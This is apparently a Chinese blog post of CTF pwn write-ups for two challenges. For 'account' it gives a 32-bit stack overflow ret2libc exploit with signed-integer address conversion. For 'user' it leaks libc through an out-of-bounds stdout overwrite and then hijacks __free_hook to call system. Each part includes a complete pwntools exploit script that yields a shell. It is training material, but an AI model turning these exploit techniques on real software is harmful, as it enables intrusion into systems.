暑假没事写一篇水下博客 感觉过的好快 一下就又好久没更了
account 本题是个32位文件,并且内容清晰明了
我们输入的数据被存储到v1变量中 然后v1数组逐渐向栈的高地址增长,这里就会有栈溢出漏洞了
所以我们的思路就是利用这个进行ret2libc然后拿到shell
但是注意v2参数的覆盖当v2=10 也就是v1[10]的时候我们覆盖的是v2也就是ebp-0xc的位置 这里我们覆盖一个合法的值
所以我们直接覆盖v2值为13 到后面v2++变成14时 我们修改的就是返回地址的值了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * elf = ELF("./account") libc = ELF("./libc-2.31.so") p = process("./account") context.log_level ='debug' for i in range(10): p.sendline(b'5201314') p.sendline(b'13') main =0x8049264 p.sendline(str(elf.plt['puts']).encode()) p.sendline(str(main).encode()) p.sendline(str(elf.got['puts']).encode()) p.sendline(b'0') p.recvuntil(b'Recording completed\n') libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))-0x6dc40
到这里就泄露了libc地址
然后再来一遍我们覆盖返回地址为shell即可
1 2 3 4 5 6 7 8 9 10 11 12 13 for i in range(10): p.sendline(b'5201314') p.sendline(b'13') def to_signed(val): return val if val < 0x80000000 else val - 0x100000000 p.sendline(str(to_signed(libc.sym['system'])).encode()) p.sendline(str(to_signed(0x80492EA)).encode()) #ret p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode()) p.sendline(b'0')
但是需要注意的是32位程序中的地址均为4字节无符号整数,而程序使用__isoc99_scanf(“%d”, v1)读入的是4字节有符号整数。
所以我们大于0x80000000就需要进行转换 转换成负数 这样存到内存中就会是补码表示
例如:
1 -142592096 mod 2^32 = 0xF7E4B310
简单来说就是大于0x80000000的地址超出范围了 直接写不进去 用负数补码写进去就行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * elf = ELF("./account") libc = ELF("./libc-2.31.so") p = process("./account") context.log_level ='debug' for i in range(10): p.sendline(b'5201314') p.sendline(b'13') main =0x8049264 p.sendline(str(elf.plt['puts']).encode()) p.sendline(str(main).encode()) p.sendline(str(elf.got['puts']).encode()) p.sendline(b'0') p.recvuntil(b'Recording completed\n') libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))-0x6dc40 libc.address = libc_base success("libc_base = "+ hex(libc_base)) print('system',hex(libc.sym['system'])) print('bin_sh',hex(next(libc.search(b'/bin/sh')))) for i in range(10): p.sendline(b'5201314') p.sendline(b'13') def to_signed(val): return val if val < 0x80000000 else val - 0x100000000 p.sendline(str(to_signed(libc.sym['system'])).encode()) p.sendline(str(to_signed(0x80492EA)).encode()) #ret p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode()) p.sendline(b'0') p.interactive()
得到shell
user
经典堆的菜单题 还帮你写好了功能
add
能创建5个chunk 并且可以写0x40的内容
delete
删除堆块 不允许4以上 但没有禁止负数
show
居然不给show 那应该咋泄露libc
edit
编辑大小为40 并且没有限制负数
既然show函数没有开放 我们就可以联想到利用stdout泄露一下
可以看到stdout并且距离heap很近
本题还是比较简单进行利用 只需要数组越界就可以泄露了 不然可能还要爆破啥的
1 2 3 4 5 6 7 p.sendlineafter(b'5. Exit\n',b'4') p.sendlineafter(b'index:\n',b'-8') p.sendafter(b'Enter a new username:\n', p32(0xfbad1800) + p32(0) + p64(0) *3+ p8(0x0)) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -0x1ec980 libc.address = libc_base success("libc_base = "+ hex(libc_base))
至于要把stdout修改成什么 这部分就涉及了io_file的内容 这部分要满足一些条件才能够进行泄露
这里就不细说了 详细的就去学习这方面的相关知识
然后我们就泄露出了libc的地址
然后就想办法拿shell
这里我们发现第二行可以利用 先是改成free 然后改成system即可
我们在0号堆块输入/bin/sh 然后进行free 这样我们就相当于进行了system(/bin/sh)拿到shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * elf = ELF("./user") libc = ELF("./libc.so.6") p = process("./user") context.log_level ='debug' p.sendlineafter(b'5. Exit\n',b'4') p.sendlineafter(b'index:\n',b'-8') p.sendafter(b'Enter a new username:\n', p32(0xfbad1800) + p32(0) + p64(0) *3+ p8(0x0)) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -0x1ec980 libc.address = libc_base success("libc_base = "+ hex(libc_base)) p.sendlineafter(b'5. Exit',b'1') p.sendafter(b'Enter your username:',b'/bin/sh') p.sendlineafter(b'5. Exit',b'4') p.sendlineafter(b'index:',b'-11') p.sendafter(b'Enter a new username:', p64(libc.sym['__free_hook'])) p.sendlineafter(b'5. Exit',b'4') p.sendlineafter(b'index:',b'-11') p.sendafter(b'Enter a new username:', p64(libc.sym['system'])) p.sendlineafter(b'5. Exit',b'2') p.sendlineafter(b'index:',b'0') p.interactive()
得到shell
已经好久都没有搞pwn了 感觉自己都快要忘完了(也可能就没会过),而且以后可能基本上就不做题了,最近还是依旧emo。